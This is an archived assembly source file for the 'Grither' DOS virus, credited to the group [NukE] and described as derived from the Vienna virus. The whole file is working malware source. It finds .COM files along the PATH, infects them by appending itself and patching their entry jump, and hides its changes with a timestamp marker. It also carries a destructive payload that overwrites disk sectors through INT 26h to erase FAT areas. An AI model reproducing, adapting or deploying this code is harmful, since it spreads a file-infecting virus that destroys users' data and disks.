home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GRITHER.ASM < prev    next >
Assembly Source File  |  1991-09-30  |  8KB  |  330 lines

  1.  
  2. ;**************************************************************************
  3. ;**                          GRITHER VIRUS                               **
  4. ;**      Created: 27 Oct 1990                                            **
  5. ;** [NukE] Notes: Does come from the Vienna Virus! And copies itself on  **
  6. ;**               *.COMs and will re-write the begining sectors of drive **
  7. ;**               C: & D:! Erasing the FATs area...                      **
  8. ;**                                                                      **
  9. ;** Sources Brought to you by -> Rock Steady [NukE]s Head Programmer!    **
  10. ;**                                         **
  11. ;**************************************************************************
  12.  
  13. data_1e        equ    2Ch            ; (65AC:002C=0)
  14. data_2e        equ    75h            ; (65AC:0075=0)
  15. data_3e        equ    79h            ; (65AC:0079=0)
  16.  
  17. seg_a        segment    byte public
  18.         assume    cs:seg_a, ds:seg_a
  19.  
  20.  
  21.         org    100h
  22.  
  23. grither        proc    far
  24.  
  25. start:
  26. ;*        jmp    short loc_1        ;*(0112)
  27.         db    0EBh, 10h
  28.         db    90h
  29. data_5        db    'ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉQ║', 9, 3, 'ⁿï≥ü╞'    ; Data table (indexed access)
  30.         db    0Ah, 0
  31.         db    0BFh, 0, 1, 0B9h, 3, 0
  32.         db    0F3h, 0A4h, 8Bh, 0F2h, 0B4h, 30h
  33.         db    0CDh, 21h, 3Ch, 0, 75h, 3
  34.         db    0E9h, 0C5h, 1
  35. loc_2:
  36.         push    es
  37.         mov    ah,2Fh            ; '/'
  38.         int    21h            ; DOS Services  ah=function 2Fh
  39.                         ;  get DTA ptr into es:bx
  40.         mov    [si+0],bx
  41.         nop                ;*Fixup for MASM (M)
  42.         mov    [si+2],es
  43.         nop                ;*Fixup for MASM (M)
  44.         pop    es
  45.         mov    dx,5Fh
  46.         nop
  47.         add    dx,si
  48.         mov    ah,1Ah
  49.         int    21h            ; DOS Services  ah=function 1Ah
  50.                         ;  set DTA to ds:dx
  51.         push    es
  52.         push    si
  53.         mov    es,ds:data_1e        ; (65AC:002C=0)
  54.         mov    di,0
  55. loc_3:
  56.         pop    si
  57.         push    si
  58.         add    si,1Ah
  59.         nop                ;*Fixup for MASM (M)
  60.         lodsb                ; String [si] to al
  61.         mov    cx,8000h
  62.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  63.         mov    cx,4
  64.   
  65. locloop_4:
  66.         lodsb                ; String [si] to al
  67.         scasb                ; Scan es:[di] for al
  68.         jnz    loc_3            ; Jump if not zero
  69.         loop    locloop_4        ; Loop if cx > 0
  70.   
  71.         pop    si
  72.         pop    es
  73.         mov    [si+16h],di
  74.         nop                ;*Fixup for MASM (M)
  75.         mov    di,si
  76.         nop
  77.         add    di,1Fh
  78.         nop                ;*Fixup for MASM (M)
  79.         mov    bx,si
  80.         add    si,1Fh
  81.         nop                ;*Fixup for MASM (M)
  82.         mov    di,si
  83.         jmp    short loc_10        ; (01B9)
  84. loc_5:
  85.         cmp    word ptr [si+16h],0
  86.         nop                ;*Fixup for MASM (M)
  87.         jne    loc_6            ; Jump if not equal
  88.         jmp    loc_19            ; (02E9)
  89. loc_6:
  90.         push    ds
  91.         push    si
  92.         mov    ds,es:data_1e        ; (65AC:002C=0)
  93.         mov    di,si
  94.         mov    si,es:[di+16h]
  95.         nop                ;*Fixup for MASM (M)
  96.         add    di,1Fh
  97.         nop                ;*Fixup for MASM (M)
  98. loc_7:
  99.         lodsb                ; String [si] to al
  100.         cmp    al,3Bh            ; ';'
  101.         je    loc_9            ; Jump if equal
  102.         cmp    al,0
  103.         je    loc_8            ; Jump if equal
  104.         stosb                ; Store al to es:[di]
  105.         jmp    short loc_7        ; (019B)
  106. loc_8:
  107.         mov    si,0
  108. loc_9:
  109.         pop    bx
  110.         pop    ds
  111.         mov    [bx+16h],si
  112.         nop                ;*Fixup for MASM (M)
  113.         nop
  114.         cmp    ch,5Ch            ; '\'
  115.         je    loc_10            ; Jump if equal
  116.         mov    al,5Ch            ; '\'
  117.         stosb                ; Store al to es:[di]
  118. loc_10:
  119.         mov    [bx+18h],di
  120.         nop                ;*Fixup for MASM (M)
  121.         mov    si,bx
  122.         add    si,10h
  123.         nop                ;*Fixup for MASM (M)
  124.         mov    cx,6
  125.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  126.         mov    si,bx
  127.         mov    ah,4Eh            ; 'N'
  128.         mov    dx,1Fh
  129.         nop
  130.         add    dx,si
  131.         mov    cx,3
  132.         int    21h            ; DOS Services  ah=function 4Eh
  133.                         ;  find 1st filenam match @ds:dx
  134.         jmp    short loc_12        ; (01DD)
  135. loc_11:
  136.         mov    ah,4Fh            ; 'O'
  137.         int    21h            ; DOS Services  ah=function 4Fh
  138.                         ;  find next filename match
  139. loc_12:
  140.         jnc    loc_13            ; Jump if carry=0
  141.         jmp    short loc_5        ; (017F)
  142. loc_13:
  143.         mov    ax,ds:data_2e[si]    ; (65AC:0075=0)
  144.         and    al,1Fh
  145.         cmp    al,1Fh
  146.         je    loc_11            ; Jump if equal
  147.         cmp    word ptr ds:data_3e[si],0FA00h    ; (65AC:0079=0)
  148.         ja    loc_11            ; Jump if above
  149.         cmp    word ptr ds:data_3e[si],0Ah    ; (65AC:0079=0)
  150.         jb    loc_11            ; Jump if below
  151.         mov    di,[si+18h]
  152.         nop                ;*Fixup for MASM (M)
  153.         push    si
  154.         add    si,7Dh
  155.         nop                ;*Fixup for MASM (M)
  156. loc_14:
  157.         lodsb                ; String [si] to al
  158.         stosb                ; Store al to es:[di]
  159.         cmp    al,0
  160.         jne    loc_14            ; Jump if not equal
  161.         pop    si
  162.         mov    ax,4300h
  163.         mov    dx,1Fh
  164.         nop
  165.         add    dx,si
  166.         int    21h            ; DOS Services  ah=function 43h
  167.                         ;  get/set file attrb, nam@ds:dx
  168.         mov    [si+8],cx
  169.         nop                ;*Fixup for MASM (M)
  170.         mov    ax,4301h
  171.         and    cx,0FFFEh
  172.         mov    dx,1Fh
  173.         nop
  174.         add    dx,si
  175.         int    21h            ; DOS Services  ah=function 43h
  176.                         ;  get/set file attrb, nam@ds:dx
  177.         mov    ax,3D02h
  178.         mov    dx,1Fh
  179.         nop
  180.         add    dx,si
  181.         int    21h            ; DOS Services  ah=function 3Dh
  182.                         ;  open file, al=mode,name@ds:dx
  183.         jnc    loc_15            ; Jump if carry=0
  184.         jmp    loc_18            ; (02DA)
  185. loc_15:
  186.         mov    bx,ax
  187.         mov    ax,5700h
  188.         int    21h            ; DOS Services  ah=function 57h
  189.                         ;  get/set file date & time
  190.         mov    [si+4],cx
  191.         nop                ;*Fixup for MASM (M)
  192.         mov    [si+6],dx
  193.         nop                ;*Fixup for MASM (M)
  194.         mov    ah,2Ch            ; ','
  195.         int    21h            ; DOS Services  ah=function 2Ch
  196.                         ;  get time, cx=hrs/min, dh=sec
  197.         and    dh,7
  198.         jnz    loc_16            ; Jump if not zero
  199.         mov    ah,40h            ; '@'
  200.         mov    cx,85h
  201.         mov    dx,si
  202.         add    dx,8Ah
  203.         int    21h            ; DOS Services  ah=function 40h
  204.                         ;  write file cx=bytes, to ds:dx
  205.         jmp    short loc_17        ; (02C3)
  206.         db    90h
  207. loc_16:
  208.         mov    ah,3Fh            ; '?'
  209.         mov    cx,3
  210.         mov    dx,0Ah
  211.         nop
  212.         add    dx,si
  213.         int    21h            ; DOS Services  ah=function 3Fh
  214.                         ;  read file, cx=bytes, to ds:dx
  215.         jc    loc_17            ; Jump if carry Set
  216.         cmp    ax,3
  217.         jne    loc_17            ; Jump if not equal
  218.         mov    ax,4202h
  219.         mov    cx,0
  220.         mov    dx,0
  221.         int    21h            ; DOS Services  ah=function 42h
  222.                         ;  move file ptr, cx,dx=offset
  223.         jc    loc_17            ; Jump if carry Set
  224.         mov    cx,ax
  225.         sub    ax,3
  226.         mov    [si+0Eh],ax
  227.         nop                ;*Fixup for MASM (M)
  228.         add    cx,2F7h
  229.         mov    di,si
  230.         sub    di,1F5h
  231.         mov    [di],cx
  232.         mov    ah,40h            ; '@'
  233.         mov    cx,306h
  234.         mov    dx,si
  235.         sub    dx,1F7h
  236.         int    21h            ; DOS Services  ah=function 40h
  237.                         ;  write file cx=bytes, to ds:dx
  238.         jc    loc_17            ; Jump if carry Set
  239.         cmp    ax,306h
  240.         jne    loc_17            ; Jump if not equal
  241.         mov    ax,4200h
  242.         mov    cx,0
  243.         mov    dx,0
  244.         int    21h            ; DOS Services  ah=function 42h
  245.                         ;  move file ptr, cx,dx=offset
  246.         jc    loc_17            ; Jump if carry Set
  247.         mov    ah,40h            ; '@'
  248.         mov    cx,3
  249.         mov    dx,si
  250.         add    dx,0Dh
  251.         nop                ;*Fixup for MASM (M)
  252.         int    21h            ; DOS Services  ah=function 40h
  253.                         ;  write file cx=bytes, to ds:dx
  254. loc_17:
  255.         mov    dx,[si+6]
  256.         nop                ;*Fixup for MASM (M)
  257.         mov    cx,[si+4]
  258.         nop                ;*Fixup for MASM (M)
  259.         and    cx,0FFE0h
  260.         or    cx,1Fh
  261.         mov    ax,5701h
  262.         int    21h            ; DOS Services  ah=function 57h
  263.                         ;  get/set file date & time
  264.         mov    ah,3Eh            ; '>'
  265.         int    21h            ; DOS Services  ah=function 3Eh
  266.                         ;  close file, bx=file handle
  267. loc_18:
  268.         mov    ax,4301h
  269.         mov    cx,[si+8]
  270.         nop                ;*Fixup for MASM (M)
  271.         mov    dx,1Fh
  272.         nop
  273.         add    dx,si
  274.         int    21h            ; DOS Services  ah=function 43h
  275.                         ;  get/set file attrb, nam@ds:dx
  276. loc_19:
  277.         push    ds
  278.         mov    ah,1Ah
  279.         mov    dx,[si+0]
  280.         nop                ;*Fixup for MASM (M)
  281.         mov    ds,[si+2]
  282.         nop                ;*Fixup for MASM (M)
  283.         int    21h            ; DOS Services  ah=function 1Ah
  284.                         ;  set DTA to ds:dx
  285.         pop    ds
  286. loc_20:
  287.         pop    cx
  288.         xor    ax,ax            ; Zero register
  289.         xor    bx,bx            ; Zero register
  290.         xor    dx,dx            ; Zero register
  291.         xor    si,si            ; Zero register
  292.         mov    di,100h
  293.         push    di
  294.         xor    di,di            ; Zero register
  295.         retn    0FFFFh
  296.         db    10 dup (0)
  297.         db    0CDh, 20h, 90h, 0E9h, 0, 0
  298.         db    2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
  299.         db    0, 0, 0, 0, 50h, 41h
  300.         db    54h, 48h, 3Dh, 0, 0
  301.         db    105 dup (0)
  302.         db    0EBh, 58h, 90h
  303.         db    ' `7O `88@99@6r `65@85M%AACC%YMJ%'
  304.         db    'LWNYMJW%AACC% `:@86@95r `68@87MH'
  305.         db    'tzwyjx~%tk%Jqj}nts `5r$'
  306.         db    '3'
  307.         db    0C0h, 8Eh, 0D8h, 0B0h, 2, 0B9h
  308.         db    0A0h, 0, 33h, 0D2h, 0BBh, 0
  309.         db    0, 0CDh, 26h, 0BBh, 0, 0
  310. loc_21:
  311.         cmp    byte ptr data_5[bx],24h    ; (65AC:0103=90h) '$'
  312.         je    loc_22            ; Jump if equal
  313.         sub    byte ptr data_5[bx],5    ; (65AC:0103=90h)
  314.         inc    bx
  315.         jmp    short loc_21        ; (0400)
  316. loc_22:
  317.         mov    dx,offset data_5    ; (65AC:0103=90h)
  318.         mov    ah,9
  319.         int    21h            ; DOS Services  ah=function 09h
  320.                         ;  display char string at ds:dx
  321.         int    20h            ; Program Terminate
  322.   
  323. grither        endp
  324.   
  325. seg_a        ends
  326.   
  327.   
  328.   
  329.         end    start
  330.